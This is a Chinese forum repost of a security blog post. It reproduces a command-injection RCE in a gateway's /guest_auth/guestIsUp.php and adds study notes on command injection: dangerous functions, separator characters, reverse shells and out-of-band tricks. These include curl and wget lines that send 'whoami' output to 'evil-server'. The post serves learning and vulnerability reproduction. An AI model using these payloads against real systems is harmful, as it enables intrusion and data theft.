搜索

[2045] 2021-01-12_关于某网关的RCE复现？

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2021-01-12_关于某网关的RCE复现？ 关 于 某 网 关 的 R C E 复 现   ？ 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 1 - 1 2 收 录 于 话 题   # 漏 洞 复 现   , 1 9 个 注 ： 本 篇 文 章 纯 属 个 人 意 淫 行 为 本 文 源 于 ： 昨 晚 在 g i t h u b 看 到 的 一 条 更 新 消 息 ， 是 关 于 某 网 关 的 R C E ， 然 后 就 想 着 今 天 下 班 了 复 现 一 下 。 于 是 ， 便 有 了 这 篇 水 文 。   ( 有 图 为 证 ) 所 谓 多 个 朋 友 多 条 路 ， 自 然 是 找 了 “ 某 位 朋 友 “ 要 了 g u e s t I s U p . p h p 文 件 源 码 。 / g u e s t _ a u t h / g u e s t I s U p . p h p ： 这 都 不 用 分 析 了 ， 直 接 e x e c 执 行 命 令 。 p a y l o a d 就 是 利 用 管 道 符 进 行 命 令 注 入 。   直 接 本 地 搭 建 ， 模 拟 一 下 漏 洞 环 境 ： 源 码 需 要 修 改 ， 但 是 漏 洞 原 理 不 变 。
测 试 开 始 ： 用 b u r p 抓 包 改 一 下 请 求 方 式 ， 上 p o c . 复 现 结 束 ， 有 图 为 证 ：       正 文 开 始 命 令 注 入 通 常 因 为 指 W e b 应 用 在 服 务 器 上 拼 接 系 统 命 令 而 造 成 的 漏 洞 。 命 令 注 入 通 常 因 为 指 W e b 应 用 在 服 务 器 上 拼 接 系 统 命 令 而 造 成 的 漏 洞 。
该 类 漏 洞 通 常 出 现 在 调 用 外 部 程 序 完 成 一 些 功 能 的 情 景 下 。 比 如 一 些 W e b 管 理 界 面 的 配 置 主 机 名 / I P / 掩 码 / 网 关 、 查 看 系 统 信 息 以 及 关 闭 重 启 等 功 能 ， 或 者 一 些 站 点 提 供 如 p i n g 、 n s l o o k u p 、 提 供 发 送 邮 件 、 转 换 图 片 等 功 能 都 可 能 出 现 该 类 漏 洞 。 常 见 危 险 函 数 常 见 危 险 函 数 P H P P y t h o n   J a v a 常 见 注 入 方 式 常 见 注 入 方 式 分 号 分 割       分 割   管 道 符     换 行 反 引 号 解 析   替 换 无 回 显 技 巧 无 回 显 技 巧 b a s h 反 弹 s h e l l D N S 带 外 数 据 c u r l   h t t p : / / e v i l - s e r v e r / $ ( w h o a m i ) w g e t   h t t p : / / e v i l - s e r v e r / $ ( w h o a m i ) s y s t e m e x e c p a s s t h r u s h e l l _ e x e c p o p e n p r o c _ o p e n s y s t e m p o p e n s u b p r o c e s s . c a l l s p a w n j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c o m m a n d ) | | & & & | r n % d 0 % a 0 $ ( )
h t t p 带 外 无 带 外 时 利 用     或 其 他 逻 辑 构 造 布 尔 条 件 参 考 ： s l e e p h t t p s : / / g i t h u b . c o m / T a s 9 e r / E g G a t e W a y G e t S h e l l W e b 安 全 学 习 笔 记
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理